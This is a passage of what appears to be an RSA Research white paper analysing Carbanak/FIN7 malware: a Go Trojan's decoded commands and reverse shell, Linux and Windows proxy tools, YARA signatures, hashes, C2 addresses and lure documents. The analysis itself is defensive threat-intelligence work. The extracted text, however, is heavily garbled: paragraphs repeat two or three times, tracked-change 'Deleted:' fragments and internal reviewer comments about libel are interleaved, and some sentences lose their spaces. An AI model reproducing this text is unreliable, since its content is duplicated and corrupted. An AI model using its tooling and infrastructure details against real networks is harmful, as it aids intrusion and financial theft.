Now we simply reference the functionality of the library code (Figure 22).
Deleted: Deleted: Deleted: Figure 22: User-Created Code Instead of Compiled Libraries Running a web search on the library calls leads to runtime_stringtoslicebyte, which takes a string and turns it into a sequence of bytesexactly as expected of a simple XOR key.
The malware moves the offset for the XOR key into RAX, then into a QWORD (global variable calculated based on the length of the XOR key string into RCX), and then onto the stack before it calls runtime_stringtoslicebyte to decode the configuration (Figure 23).
Deleted: User Deleted: Googling Deleted: , Deleted: Deleted: Deleted: [ Deleted: ], https://github.com/strazzere/golang_loader_assist WHITE PAPER 14 Running a web search on the library calls leads to runtime_stringtoslicebyte, which takes a string and turns it into a sequence of bytesexactly as expected of a simple XOR key.
The malware moves the offset for the XOR key into RAX, then into a QWORD (global variable calculated based on the length of the XOR key string into RCX), and then onto the stack before it calls runtime_ stringtoslicebyte to decode the configuration (Figure 23).
Figure 23: Configuration XOR Key When the malware starts, it will decode the command strings used in memory to avoid static detection and heuristics (Figure 24).
Figure 24: Decoded Trojan Commands A brief synopsis of the commands: Command Function ps Display process listing shell Begin interactive command shell kill Remove Windows Service and malware info Get system information wget Download function via wget HTTP wput Upload function via wput FTP name Get hostname of victim service Install malware as Windows Service with Service Name of WindowsCtlMonitor The malware also queries the users default TEMP directory looking for the xname.txt file and uploads to the C2 server.
The malware does not create this file therefore, its functionality remains unknown at this time (Figure 25).
Figure 23: Configuration XOR Key When the malware starts, it will decode the command strings used in memory to avoid static detection and heuristics (Figure 24).
Figure 24: Decoded Trojan Commands A brief synopsis of the commands: Command Function ps Display process listing shell Begin interactive command shell kill Remove Windows Service and malware info Get system information wget Download function via wget HTTP wput Upload function via wput FTP name Get hostname of victim service Install malware as Windows Service with Service Name of WindowsCtlMonitor The malware also queries the users default TEMP directory looking for the xname.txt file and uploads to the C2 server.
The malware does not create this file therefore, its functionality remains unknown at this time (Figure 25).
Deleted: Malware Deleted: Figure 23: Configuration XOR Key When the malware starts, it will decode the command strings used in memory to avoid static detection and heuristics (Figure 24).
Figure 24: Decoded Trojan Commands A brief synopsis of the commands: Command Function ps Display process listing shell Begin interactive command shell kill Remove Windows Service and malware info Get system information wget Download function via wget HTTP wput Upload function via wput FTP name Get hostname of victim service Install malware as Windows Service with Service Name of WindowsCtlMonitor The malware also queries the users default TEMP directory looking for the xname.txt file and uploads to the C2 server.
The malware does not create this file therefore, its functionality remains unknown at this time (Figure 25).
Deleted: Malware Deleted: WHITE PAPER 15 Figure 25: Malware Reading Unknown File The malware beacons to 107.181.246[.
]146 over TCP port 443 with a simple, single-byte XOR key that changes on every connection.
The output is a single- byte XOR command output the malware simply redirects STDIN, STDOUT and STDERR across the encoded connection when it receives the shell command (Figure 26).
Figure 26: Simple Command Shell This Trojan may be detected with the YARA signature, below.
RSA Research has not been able to locate any additional samples like this, making it impossible to build a corpus of variants to diff them in an effort to identify whats common.
Figure 25: Malware Reading Unknown File The malware beacons to 107.181.246[.
]146 over TCP port 443 with a simple, single-byte XOR key that changes on every connection.
The output is a single-byte XOR command output the malware simply redirects STDIN, STDOUT and STDERR across the encoded connection when it receives the shell command (Figure 26).
Figure 26: Simple Command Shell This Trojan may be detected with the YARA signature, below.
RSA Research has not been able to locate any additional samples like this, making it impossible to build a corpus of variants to diff them in an effort to identify whats common.
Deleted: single Deleted: Deleted: Figure 25: Malware Reading Unknown File The malware beacons to 107.181.246[.
]146 over TCP port 443 with a simple, single-byte XOR key that changes on every connection.
The output is a single-byte XOR command output the malware simply redirects STDIN, STDOUT and STDERR across the encoded connection when it receives the shell command (Figure 26).
Figure 26: Simple Command Shell This Trojan may be detected with the YARA signature, below.
RSA Research has not been able to locate any additional samples like this, making it impossible to build a corpus of variants to diff them in an effort to identify whats common.
Deleted: single Deleted: Deleted: WHITE PAPER 16 YARA Signature for Go Trojan rule Carbanak_Go_Trojan  meta: author      RSA FW strings: mz            4D 5A build_id  Go build ID: \33ee104ab2c9fc37c067a26623e7fddd3bb76302\ string      xname.txt sgc          2.16.840.1.113730.4.1 msc         1.3.6.1.4.1.311.10.3.3 condition: mz at 0 and (build_id or (string and sgc and msc))  2.1.4.
Linux and Other Tools Carbanak/FIN7 operators are not confined to a compromised organizations Windows environment.
While their goal is generally the Windows-based machines, certain sub-groups are rather adept in the Linux world and have used specialized tools to migrate from one to the other, as well as to maintain persistence.
The following SOCKS5 proxy tool is a strong example.
Carbanak/FIN7 Linux SOCKS5 Proxy Name       auditd MD5         b57dc2bc16dfdb3de55923aef9a98401 SHA-1      1d3501b30183ba213fb4c22a00d89db6fd50cc34 Size            21.1 KB (21616 bytes) Type          ELF Magic       ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped Name                                Type                     Address         Offset                     Size     Flags NULL                                NULL                 0x00000000 0x00000000       0 .interp                               PROGBITS     0x00400200 0x00000200      28           A .note.
ABI-tag                 NOTE                0x0040021c 0x0000021c       32          A .note.gnu.build-id        NOTE                0x0040023c 0x0000023c       36          A .gnu.hash                          GNU_HASH   0x00400260 0x00000260      36          A .dynsym                            DYNSYM          0x00400288 0x00000288     792        A .dynstr                               STRTAB            0x004005a0 0x000005a0      280         A .gnu.version                   VERSYM           0x004006b8 0x000006b8       66           A .gnu.version_r               VERNEED        0x00400700 0x00000700       32           A .rela.dyn                          RELA                    0x00400720 0x00000720      24           A WHITE PAPER 17 The utility begins as a daemon and connects to 95.215.36[.
]116 over TCP port 443.
These values, as well as credentials, are hardcoded into the malware and not obfuscated in any way (Figure 27).
Figure 27: Hardcoded SOCKS5 Proxy Information The credentials are read from these locations, combined with sprintf() s:s and base64 encoded to create the Authorization-Basic string (Figures 28 and 29).
Figure 28: Reading the Password Figure 29: Reading the User ID Figure 27: Hardcoded SOCKS5 Proxy Information The credentials are read from these locations, combined with sprintf() s:s and base64 encoded to create the Authorization-Basic string (Figures 28 and 29).
Figure 28: Reading the Password Figure 27: Hardcoded SOCKS5 Proxy Information The credentials are read from these locations, combined with sprintf() s:s and base64 encoded to create the Authorization-Basic string (Figures 28 and 29).
Figure 28: Reading the Password Figure 29: Reading the User ID The SOCKS5 proxy obfuscates its traffic with a simple XOR loop.
The same key is also used in another one of their Windows IP forwarding tools, discussed later (Figure 30).
Figure 30: XOR Obfuscation on Top of SOCKS5 Proxy Deleted:  t Deleted: top WHITE PAPER 18 The SOCKS5 proxy obfuscates its traffic with a simple XOR loop.
The same key is also used in another one of their Windows IP forwarding tools, discussed later (Figure 30).
Figure 30: XOR Obfuscation on Top of SOCKS5 Proxy This Linux SOCKS5 proxy may be found with this YARA rule: YARA Signature for Linux SOCKS5 Proxy rule Carbanak_ELF_SocksTunnel  meta: author  RSA FW strings: elf   7F 45 4C s1   SendToTunnelSocks5Answer s2   SendToTunnel s3   process_out_data s4   process_in_data s5   update_tunnel_select_ex_cb s6   update_tunnel_descriptors s7   process_data_from_tunnel s8   UpdatePingTime condition: elf at 0 and all of (s)  Figure 29: Reading the User ID The SOCKS5 proxy obfuscates its traffic with a simple XOR loop.
The same key is also used in another one of their Windows IP forwarding tools, discussed later (Figure 30).
Figure 30: XOR Obfuscation on Top of SOCKS5 Proxy Deleted:  t Deleted: top WHITE PAPER 19 A similar Windows utility, svcmd.exe, was discovered as well.
Carbanak/FIN7 Windows IP Proxy Tool File Name:  svcmd.exe File Size:  47104 bytes MD5:        8b3a91038ecb2f57de5bbd29848b6dc4 SHA1:       54074b3934955d4121d1a01fe2ed5493c3f7f16d PE Time:    0x58CBC258 [Fri Mar 17 11:02:48 2017 UTC] PEID Sig:   Microsoft Visual C 8 Sections (5): Name      Entropy  MD5 .text     6.57     80dd3bd472624a01e5dff9e015ed74fd .rdata    5.44     b789b368b21d3d99504e6eb11a6d6111 .data     2.31     970056273f112900c81725137f9f8b45 .rsrc     5.1      44a70bdd3dc9af38103d562d29023882 .reloc    4.4      c99c03a1ef6bc783bb6e534476e5155b This tool also has its configuration hardcoded into the malware and is plainly visible in its strings (Figure 31).
Figure 31: Clearly Visible Network Information Figure 31: Clearly Visible Network Information Instead of a SOCKS5 proxy, this tool appears to directly forward packets to the IP address 185.86.151[.
]174 on TCP port 443.
It also uses a simple XOR obfuscation routine with the key of 0x41, the same as the Linux SOCKS5 proxy (Figure 32).
Deleted: Deleted: Proxy WHITE PAPER 20 Instead of a SOCKS5 proxy, this tool appears to directly forward packets to the IP address 185.86.151[.
]174 on TCP port 443.
It also uses a simple XOR obfuscation routine with the key of 0x41, the same as the Linux SOCKS5 proxy (Figure 32).
Figure 32: IP Proxy Tool XOR Routine Figure 32: IP Proxy Tool XOR Routine WHITE PAPER 21 YARA Signature for Windows IP Proxy Tool rule Carbanak_IP_Proxy  meta: author        RSA FW strings: mz              4D 5A decoder    33 C0 EB 03 [0-3] 80 34 38 41 40 3B C6 75 F7 condition: mz at 0 and decoder  The syndicate also utilizes several freely available reconnaissance, lateral movement and privilege escalation tools, not to mention various Track data memory scrapers and other financial data-gathering utilities discovered in the wild.
The table below enumerates the most common tools utilized by these actors.
Tool Description mimikatz Password dumper 32-bit or 64-bit mimikatz-lite Smaller version of mimikatz 32-bit or 64-bit invoke-minikatz PowerShell version of mimikatz System scrapers Will return browser history and passwords, as well as RDP and share information WGET GNU HTTP tool Win32 and ELF Network scanners Simple scanners to quickly identify open ports on a network segment Compression utilities RAR, 7zip, etc.,
renamed to compress exfil for faster transmission, as well as fooling simple flow analysis Log wipers From batch scripts, bash scripts, PowerShell scripts invoking WMIC commands to custom binariesall configured to wipe logs Backdoored SSH and SSHD daemons Allows remote access with key-based authentication, as well as exfiltrating all successful authentications to a configured domain or IP on the internet Lateral movement tools PSEXEC, PAExec, TinyP, Winexec for Linux allowing remote execution of arbitrary files with stolen credentials from one machine on the network to another Remote administration tools Ammy admin plink used to create reverse SSH tunnel various implementations of local proxies to circumvent firewalls and network segmentation WHITE PAPER 22 Known exploits RTF, DOC, DOCX exploit lures direct attacks on web applications and external infrastructure to gain a foothold in the network, as well as local privilege escalation vulnerabilities for Linux and Windows Table 1: Common Tools Used by Carbanak/FIN7 3.
ANUNAK HISTORICAL OVERVIEW The following figures were compiled from Anunak/Sekur samples acquired from VirusTotal.
They were initially sorted by compile time, but this proved problematic as many had compile times zeroed out (resulting in a compile date of January 1, 1970) or were tampered with to infer future compile date.
Consequently, the samples were sorted by first submission to VirusTotal.
The Trojans were often hardcoded with domains and IP addresses with a port.
New indicators appear on the graph next to their submission date.
Please note that no pDNS for the domains was added to the timeline due to the compile time vs. submission time irregularities.
While there are many overlaps in infrastructure between 2014 (Figure 33) into early 2015, the 2015 period (Figure 34) shows a dramatic slowdown in the groups activity.
It is noteworthy that Kaspersky reported (in February 2015) the group was responsible for stealing millions, if not billions, from banks during 2013 and 2014.
Several months later, the authorities made high-profile arrests on charges of ATM fraud and SWIFT transfers and other direct account transfers.
The observed lull in the groups activity following this attribution and related arrests indicates that some of the more prolific actors were either caught, ceased their activity, moved on, or changed their TTPs and continued operations.
While each of these options is a possible truth, RSA Research believes that the 2015 curtailment of activity reflects Carbanak operators, still reeling from a law enforcement takedown, reorganizing into a more loosely affiliated syndicate.
As mentioned previously, the graph shows net-new infrastructure, and its worth it to note that in 2014 there were many different samples that communicated with overlapping domains and IP addresses.
The immense slowdown in 2015 in new indicators, and the fact that the samples observed stopped reusing or overlapping domains and IPs, suggest a fragmentationespecially considering that 2016 shows very little intersection of domains and IPs.
The 2016 period (Figure 35) shows an uptick in activity that included both reused and new malware.
This led us to believe the reorganized Carbanak syndicate recruited new members, falling back on previously successful methods to exploit victim networks after gaining a foothold.
This aligns with RSA Incident Response teams field experience, where actors using these same tactics and tools were found to be using custom or completely different Trojans than Carberp and Anunak/Sekur, post 2015.
The 2017 time period (Figure 36), while not yet over, is relatively sparse compared to previous years, possibly indicating this malware is at the end of its lifecycle.
It is likely, given the history, some remnants of it will be recycled into another implant in the future.
https://www.virustotal.com//home/upload https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf http://www.pcworld.com/article/2915112/police-breaks-up-cybergang-that-stole-over-15-million-from-banks.html https://www.justice.gov/usao-nj/pr/five-indicted-new-jersey-largest-known-data-breach-conspiracy WHITE PAPER 23 Figure 33: 2014 Infrastructure 2/10/2014 2/10/2014 paradise-plaza.com, 188.138.98.105:700 3/5/2014 akamai-technologies.org, 158.58.172.157:7003/1/2014 4/1/2014 4/24/2014 java-update.co.uk, 184.22.58.143:443 5/1/2014 6/1/2014 6/10/2014 adguard.name, 5.199.169.188:443 6/22/2014 public-dns.com, 58.158.177.102:80, 88.198.184.241:700 6/23/2014 37.235.54.48:443 5/2/2014 mind-finder.com 7/1/2014 8/1/2014 9/1/2014 10/1/2014 11/1/2014 12/1/2014 12/31/2014 7/6/2014 financialnewsonline.pw 7/2/2014 financialnewsonline.pw 185.10.56.59:443 8/6/2014 androidn.net 8/12/2014 209.222.30.5:443 10/1/2014 microsoc1pol361.com, 83.166.234.250:443 10/20/2014 freemsk-dns.com, 87.98.153.34:443 10/19/2014 216.170.117.7:443 10/12/2014 31.131.17.125:443 10/8/2014 worldnewsonline.pw, 185.10.56.59:443, 69.195.129.70:80 10/9/2014 get.bloody-roots.club, 83.166.234.250:443 11/21/2014 onlineoffice.pw 11/28/2014 gendelf.com, 31.7.61.136:443 12/16/2014 comixed.org 162.221.183.109:443 10/15/2014 5.61.32.118:443, 66.55.133.86:80 10/23/2014 216.170.117.88:443 10/30/2014 systemsvc.net, 131.72.138.180:443 11/17/2014 microso1povkjbdw87kgf518nl361.com, 131.72.138.180:443 11/25/2014 microsojhecwhb7832873.com, 81.17.17.42:443 12/24/2014 217.172.186.179:443, 85.143.166.76.80 12/8/2014 216.170.117.28:443, 94.100.180.200:80 10/22/2014 coral-travel.com, 31.131.17.127:443 69.195.129.72:80 9/26/2014 87.236.210.109:443 9/7/2014 31.131.17.128:443 8/22/2014 glonass-map.com, 88.198.184.241:443 8/5/2014 di-led.com, 108.61.197.233:443, 108.61.197.254:80 8/25/2014 nyugorta.com, 95.211.172.143:80 7/10/2014 great-codes.com 7/22/2014 datsun-auto.com 7/3/2014 87.236.210.109:443 7/3/2014 update-java.net 7/8/2014 public-dns.us 7/18/2014 travel-maps.info 7/31/2014 69.195.129.70:80 WHITE PAPER 24 Figure 34: 2015 Infrastructure 1/1/2015 2/1/2015 3/1/2015 4/1/2015 5/1/2015 6/1/2015 7/1/2015 8/1/2015 9/1/2015 10/1/2015 11/1/2015 12/1/2015 12/31/2015 3/3/2015 193.203.48.41:700, 91.207.60.68:80 3/3/2015 playbengx.net, 185.29.9.51:443 4/7/2015 77.88.55.77:80, 87.236.210.109:443 6/2/2015 194.146.180.58:80, 87.98.217.9:443 8/6/2015 82.163.78.188:443 8/31/2015 141.255.167.28:443 5/5/2015 weekend-service.com, 216.170.116.120:443 5/14/2015 94.156.77.149:80 7/30/2015 185.29.9.28:443 10/9/2015 88.150.175.102:443 10/21/2015 107.161.145.208:443, 62.75.218.45:80 10/14/2015 5.9.189.40:443 11/10/2015 194.146.180.58:80, 89.46.103.42:443 2/23/2015 coral-trevel.com, 31.131.17.127:443, 69.195.129.72:80, 87.98.153.34:443 2/26/2015 92.255.170.197:444 WHITE PAPER 25 Figure 35: 2016 Infrastructure 1/1/2016 2/1/2016 3/1/2016 4/1/2016 5/1/2016 6/1/2016 8/1/2016 10/1/2016 12/1/2016 11/1/2016 9/1/2016 1/19/2016 social.strideindustrialusa.com 2/5/2016 23.249.162.161:443 3/2/2016 www.crapoerne.com, 216.170.118.136:443, 95.211.172.143:80 3/21/2016 151.80.8.10:443 4/8/2016 185.86.149.60:443, 95.215.45.228:443 5/1/2016 www.sityahoogoodt.com, 151.80.241.83:443 5/25/2016 194.146.180.44:80 6/11/2016 updateserver.info 7/12/2016 179.43.140.82:443 8/10/2016 46.165.228.24:443 9/4/2016 176.101.223.101:443, 194.146.180.43:80 9/12/2016 185.86.151.210:443, 204.155.30.87:443 10/24/2016 204.155.30.100:443 2/17/2016 www.draiklehfert.com, 151.80.8.10:443 1/27/2016 149.202.138.110:443, 194.146.180.40:80 2/16/2016 194.146.180.40:80 2/23/2016 www.carenty44.net, 78.128.92.29:443 3/10/2016 107.161.159.17:443 4/5/2016 www.payrt.com, 185.29.11.7:443 4/25/2016 176.101.223.100:443, 194.146.180.41:80 5/27/2016 94.140.120.132:443, 95.215.46.70:443 6/30/2016 193.203.48.23:700, 89.144.14.65:80 7/23/2016 138.201.44.10:443, 95.215.47.109:443 8/17/2016 great-codes.com, public-dns.us, wefwe3223wfdsf, 188.138.98.105:701, 37.235.54.48:443, 5.61.38.52:443 9/7/2016 ajlindustries.myfreesites.net 7/1/2016 WHITE PAPER 26 Figure 36: 2017 Infrastructure 4.
OVERLAP WITH COMMON CRIMEWARE CAMPAIGNS During RSA Researchs analysis, an interesting link emerged to several crimeware campaigns.
This made sense, considering the prolific use of banker Trojans and other information-stealing Trojans by these groups.
The Anunak/Sekur malware is the only unique family attributed to these groups.
The rest are common, repurposed malware.
By pivoting on the known infrastructure with respect to when the Trojans were active, RSA Research was able to discover a potential overlap.
Linked Sample File Name:  face85f789faec82197703e296bd0c872f621902624b34c 108f0460bc687ab70.exe FILE SIZE:  204800 BYTES MD5:        1E47E12D11580E935878B0ED78D2294F SHA1:       8230E932427BFD4C2494A6E0269056535B9E6604 PE TIME:  0X534BD7C7 [MON APR 14 12:42:47 2014 UTC] PEID SIG:   MICROSOFT VISUAL C 8 SECTIONS (5): NAME      ENTROPY  MD5 .TEXT                   6.5       EAFBA59CAFA0E4FA350DFD3144E02446 .RDATA               7.77     25617CE39E035E60FA0D71C2C28E1BF5 .DATA                  6.57     1284A97C9257513AAEBE708AC82C2E38 .RSRC                  4.91     F6207D7460A0FBDDC2C32C60191B6634 .RELOC               4.01     2E7EEC2C3E7BA29FBF3789A788B4228E The compile time of this sample does not appear to be tampered with.
It was submitted to VirusTotal on August 25, 2014, from Russia via a web submission as great1404_chelnok.exe.
The web submission, as well as a non- hash filename, suggests this was from the victim and not a researcher.
This would give the actor a possible dwell time of over four months, more than enough time to accomplish their goals.
6/1/2017 7/1/2017 7/24/2017 6/18/2017 176.101.223.105:443 7/19/2017 5.152.203.121:443 6/26/2017 185.180.198.2:443 31.148.219.126:443 7/25/2017 shfdhghghfg.com, 52.11.125.44:443 WHITE PAPER 27 Upon further analysis, we determined the Trojan is Anunak and is hardcoded to use the HTTP C2 communications method with the domain nyugorta.com (Figure 37).
Figure 37: Anunak Trojan Beacon The domain resolved to 89.45.14[.
]207 on February 2nd, 2014.
Pivoting on this IP address led our research to a domain, brazilian-love[.
]org, that resolved to this IP between April 8th, 2014 and December 5th, 2014.
This fit within our actors timeframe of April to August 2014.
The WHOIS information indicated that drake.lampado777gmail.com registered this domain and 34 others in the same timeframe.
Our research indicates Drake Lampado is a pseudonym.
Research into these domains revealed that many of them were involved with common Crimeware campaigns, overlapping with some of the Hosting provider subnets used by Carbanak/Fin7 during the same time (Table 2).
Note: the full, unobscured table is available in the Appendix.
Rd Domain Malware Involved Links to Anunak zaydo.website zaydo.space zaydo.co akkso-dob.in upatre downloader nikaka-ost.in skaoow-loyal.xyz akkso-dob.xyz upatre downloader maorkkk-grot.xyz upatre downloader skaoow-loyal.net nikaka-ost.xyz upatre downloader pasteronixca.com corebot pasteronixus.com corebot vincenzo-bardelli.com corebot marcello-bascioni.com corebot 4.Overlap with Common Crimeware Campaigns During RSA Researchs analysis, an interesting link emerged to several crimeware campaigns.
This made sense, considering the prolific use of banker Trojans and other information-stealing Trojans by these groups.
The Anunak/Sekur malware is the only unique family attributed to these groups.
The rest are common, repurposed malware.
By pivoting on the known infrastructure with respect to when the Trojans were active, RSA Research was able to discover a potential overlap.
Linked Sample File Name:  face85f789faec82197703e296bd0c872f621902624b34c108f0460bc687ab70.exe File Size:  204800 bytes MD5:        1e47e12d11580e935878b0ed78d2294f SHA1:       8230e932427bfd4c2494a6e0269056535b9e6604 PE Time:  0x534BD7C7 [Mon Apr 14 12:42:47 2014 UTC] PEID Sig:   Microsoft Visual C 8 Sections (5): Name      Entropy  MD5 .text      6.5       eafba59cafa0e4fa350dfd3144e02446 .rdata   7.77     25617ce39e035e60fa0d71c2c28e1bf5 .data     6.57     1284a97c9257513aaebe708ac82c2e38 .rsrc      4.91     f6207d7460a0fbddc2c32c60191b6634 .reloc    4.01     2e7eec2c3e7ba29fbf3789a788b4228e The compile time of this sample does not appear to be tampered with.
It was submitted to VirusTotal on August 25, 2014, from Russia via a web submission as great1404_chelnok.exe.
The web submission, as well as a non-hash filename, suggests this was from the victim and not a researcher.
This would give the actor a possible dwell time of over four months, more than enough time to accomplish their goals.
Upon further analysis, we determined the Trojan is Anunak and is hardcoded to use the HTTP C2 communications method with the domain nyugorta.com (Figure 37).
Figure 37: Anunak Trojan Beacon The domain resolved to 89.45.14[.
]207 on February 2, 2014.
Pivoting on this IP address led our research to a domain, brazilian-love[.
]org, that resolved to this IP between April 8, 2014, and December 5, 2014.
This fit within our actors timeframe of April to August 2014.
The WHOIS information indicated that drake.lampado777gmail.com registered this domain and 34 others in the same timeframe.
Ourresearch indicatesDrakeLampadoisapseudonym.
Deleted: Crimeware Deleted: Deleted: Banker Deleted: information Deleted: Deleted: Deleted: Virustotal Deleted: th Deleted: .
Deleted: Deleted: Deleted: 4 Deleted: nd Deleted: Deleted: th Deleted: th Deleted: Deleted: Deleted: Comment [DC24]: Backtothesleepingbearcomment,are wecallingoutsomeone?Couldwebesubjectedtothe attack?
Comment [TJ25R24]: DrakeLampadoisapseudonym,so wearenotactuallycallingoutsomeonebytheirrealname.
Addedclarification.
WHITE PAPER 28 namorushinoshi.com corebot chugumshimusona.com corebot wascodogamel.com corebot ppc-club.org corebot Resolved between 09/16/201501/08/2016 to 91.194.254.207 same subnet as advetureseller.com and others castello-casta.com carberp cameron-archibald.com carberp narko-cartel.com andromeda narko-dispanser.com andromeda dragonn-force.com Resolved between 02/04/201505/14/2016 to 91.194.254.207 same subnet as advetureseller.com and others [obscured].com gooip-kumar.com badur Resolved between 02/05/201504/17/2015 to 91.194.254.207 same subnet as advetureseller.com and others casas-curckos.com levetas-marin.com badur casting-cortell.com [obscured].net 02/08/201504/29/2016, 91.194.254.207 same subnet as advetureseller.com and others brazilian-love.org baltazar-btc.com road-to-dominikana.biz corebot ihave5kbtc.org andromeda ihave5kbtc.biz andromeda critical-damage333.org Table 2: Links to Anunak/Sekur Malware WHITE PAPER 29 The linked IP address, 91.194.254[.
]207, is registered to dimeline.eu, a European sports betting site that owns the entire 91.194.254[.
]0/23 address space (Table 3).
Table 3: RIPE WHOIS Information for 91.194.254.0/24 As noted above, many of the samples analyzed also had domains resolving to this network space (91.194.254/23) during the 2014-2015 time period.
Table 4 details the dimeline.eu IP addresses of these domains.
These domains are often referred to as lookalike domains as they are registered in such a way as to mimic other trusted or innocent domains in an attempt to go unnoticed.
Domain IP Address Date akamai-technologies.org 91.194.254.246 2/26/2014 adventureseller.com 91.194.254.39 8/25/2014 androidn.net 91.194.254.39 7/3/2014 travel-maps.info 91.194.254.38 7/4/2014 glonass-map.com 91.194.254.37 7/17/2014 datsun-auto.com 91.194.254.38 7/22/2014 di-led.com 91.194.254.38 8/4/2014 coral-trevel.com 91.194.254.92 10/20/2014 comixed.org 91.194.254.90 10/24/2014 publics-dns.com 91.194.254.93 2/25/2015 publics-dns.com 91.194.254.94 2/25/2015 Table 4: Overlaps with Anunak Infrastructure There is also a link to a Corebot campaign with attempts to sell Corebot source code on btcshop.cc by a user named btcshop.
This person claimed to be selling the Corebot source code, but was not the author, and linked to a google account for a Drake Lampado.
A single post by this person was posted on October 11, 2013.
An article explaining the link is here.
The linked IP address, 91.194.254[.
]207, is registered to dimeline.eu, a European sports betting site that owns the entire 91.194.254[.
]0/23 address space (Table 3).
Table 3: RIPE WHOIS Information for 91.194.254.0/24 Asnotedabove,manyofthesamplesanalyzedalsohaddomainsresolvingtothisnetworkspace (91.194.254/23)duringthe2014O2015timeperiod.
Table4detailsthedimeline.euIPaddressesofthese domains,whichwereregisteredinsuchawayastobetterblendinwithcommontraffic.
Domain IP Address Date akamai-technologies.org 91.194.254.246 2/26/2014 adventureseller.com 91.194.254.39 8/25/2014 androidn.net 91.194.254.39 7/3/2014 travel-maps.info 91.194.254.38 7/4/2014 glonass-map.com 91.194.254.37 7/17/2014 datsun-auto.com 91.194.254.38 7/22/2014 di-led.com 91.194.254.38 8/4/2014 coral-trevel.com 91.194.254.92 10/20/2014 comixed.org 91.194.254.90 10/24/2014 publics-dns.com 91.194.254.93 2/25/2015 publics-dns.com 91.194.254.94 2/25/2015 Table 4: Overlaps with Anunak Infrastructure There is also a link to a Corebot campaign with attempts to sell Corebot source code on btcshop.cc by a user named btcshop.
This person claimed to be selling the Corebot source code, but was not the author, and linked to a google account for a Drake Lampado.
A single post by this person was posted on October 11, 2013.
An article explaining the link is here.
Comment [DC29]: Isthecompanyavictimofthese criminals?Isitalegitimatecompany?Ifso,whyarecalling themout?
Comment [e30]: Itscertainlyarealcompany.
Itsthe entirelinkbetweentheseactorsandothergeneral crimewarecampaign.
TheIPspace,whichisthelink,is availableforanyonetosee.
Censoringthosewould completelyinvalidatethisentiresectionandtheNetNew content.
Deleted: .
Deleted: Many of the samples analyzed also had domains resolving to this network during the 2014-2015 time Deleted:  period (Table 4).
Deleted: Deleted: Deleted: th Deleted: Comment [DC34]: Notsurewhywearecallingout individuals.
Ifweareincorrect,wecouldsubjectRSAtolibel.
Comment [TJ35R34]: Acknowledgetheriskoflibel however,asnotedabove,DrakeLampadoisapseudonym.
http://www.informationsecuritybuzz.com/articles/stolen-information-using-corebot-sold-on-btcshop-cc/ WHITE PAPER 30 These indirect links are not a smoking gun and may be coincidental.
The Dimeline network may have been vulnerable with many different groups/ actors using its infrastructure to host their malware.
Differences in TTP also exist.
For example, the Carbanak/FIN7 group used more than one of their external IP addresses to host C2 applications, while we were only able to verify a single IP address hosting Corebot by the Drake Lampado actor.
That being said, it remains a possibility that the Carbanak/FIN7 actors run side campaigns, in addition to their APT-style attacks, on the industrial verticals dealing with financial information of interest.
5.
CURRENT ACTIVITY Recently there have been reports of weaponized DOCX and RTF files using JavaScript embedded in macros to drop Visual Basic and PowerShell payloads (Figure 38).
These lures allow Carbanak/FIN7 to gain a foothold in a targeted network and move laterally to find financial data.
Figure 38: Weaponized DOCX and RTF Lures The many layers of string splitting and Base64 obfuscation in the lure documents VBA Macro reveal the Bateleur JavaScript backdoor (Figure 39).
Along with this Trojan is the tinymet Trojan stub from Metasploit (Figure 40), as well as an encoded and compressed password-stealing DLL.
These indirect links are not a smoking gun and may be coincidental.
The Dimeline network may have been vulnerable with many different groups/actors using its infrastructure to host their malware.
Differences in TTP also exist.
For example, the Carbanak/FIN7 group used more than one of their external IP addresses to host C2 applications, while we were only able to verify a single IP address hosting Corebot by the Drake Lampado actor.
That being said, it remains a possibility that the Carbanak/FIN7 actors run side campaigns, in addition to their APT-style attacks, on the industrial verticals dealing with financial information of interest.
5.Current Activity Recently there have been reports of weaponized DOCX and RTF files using JavaScript embedded in macros to drop Visual Basic and PowerShell payloads (Figure 38).
These lures allow Carbanak/FIN7 to gain a foothold in a targeted network and move laterally to find financial data.
Figure38:WeaponizedDOCXandRTFLures Deleted: Deleted: Deleted: Deleted: Fin7 Deleted: Fin7 Deleted: APT Deleted: Deleted: Fin7 https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor https://github.com/SherifEldeeb/TinyMet WHITE PAPER 31 Figure 39: Bateleur Machine Enumeration FIGURE 40: TINYMET CONFIGURATION Embedded DLL File Name:  stealer_component_refl.dll File Size:  24576 bytes MD5:        ddc9b71808be3a0e180e2befae4ff433 SHA1:       996db927eb4392660fac078f1b3b20306618f382 PE Time:    0x58993DE6 [Tue Feb 07 03:24:22 2017 UTC] Sections (4): Name      Entropy  MD5 .text     6.05     e741daf57eb00201f3e447ef2426142f .rdata    4.3      5ecb9eb63e8ace126f20de7d139dafe8 .data     1.54     732e6d3d7534da31f51b25506e52227a .reloc    4.76     9f01b74c1ae1c407eb148c6b13850d28 The script, using Reflective DLL Injection, loads this payload into memory and executes it without first writing it to disk.
When the DLL is executed it writes itself to the AppData\Local\Temp\ directory of the user profile in which it was executed.
It then attempts to locate saved username and password locations from approximately ten different web browsers, as well as saved Outlook credentials.
This is but one variant other variants use a cobalt-strike stager in place of the tinymet backdoor.
This blog post from Icebrg contains a spreadsheet with known IOCs.
ThemanylayersofstringsplittingandBase64obfuscationintheluredocumentsVBAMacrorevealthe BateleurJavaScriptbackdoor(Figure39).AlongwiththisTrojanisthetinymetTrojanstubfrom Metasploit(Figure40),aswellasanencodedandcompressedpasswordOstealingDLL.
Figure39:BateleurMachineEnumeration  Figure40:TinymetConfiguration EmbeddedDLL File Name:  stealer_component_refl.dll File Size:  24576 bytes MD5:        ddc9b71808be3a0e180e2befae4ff433 SHA1:       996db927eb4392660fac078f1b3b20306618f382 PE Time:    0x58993DE6 [Tue Feb 07 03:24:22 2017 UTC] Sections (4): Name      Entropy  MD5 .text     6.05     e741daf57eb00201f3e447ef2426142f .rdata    4.3      5ecb9eb63e8ace126f20de7d139dafe8 .data     1.54     732e6d3d7534da31f51b25506e52227a .reloc    4.76     9f01b74c1ae1c407eb148c6b13850d28  Deleted: Deleted: password ThemanylayersofstringsplittingandBase64obfuscationintheluredocumentsVBAMacrorevealthe BateleurJavaScriptbackdoor(Figure39).AlongwiththisTrojanisthetinymetTrojanstubfrom Metasploit(Figure40),aswellasanencodedandcompressedpasswordOstealingDLL.
